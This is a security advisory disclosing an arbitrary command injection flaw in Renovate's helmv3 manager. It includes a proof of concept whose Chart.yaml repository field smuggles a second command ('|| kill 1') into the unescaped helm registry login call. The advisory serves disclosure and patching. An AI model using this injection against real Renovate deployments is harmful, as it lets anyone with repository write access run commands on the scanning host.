Summary

The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.

Details

Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (renovatebot/renovate@f372a68), released on January 24 of 2022.

PoC

1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  // Register any credentials to make the manager attempt to use basic auth for the Helm registry
  hostRules: [
    {
      matchHost: "charts.bitnami.com",
      username: "un",
      password: "pw",
    },
  ],
  packageRules: [
    {
      // Target of the day
      matchManagers: ["helmv3"],
      // Don't consult the actual bitnami repo
      registryUrls: [],
      // But still, trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

Chart.yaml:

apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
  - name: redis
    version: 0.1.0
    repository: oci://charts.bitnami.com/bitnami || kill 1

Chart.lock:

dependencies:
- name: redis
  repository: oci://charts.bitnami.com/bitnami

2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

References

• GHSA-3f44-xw83-3pmg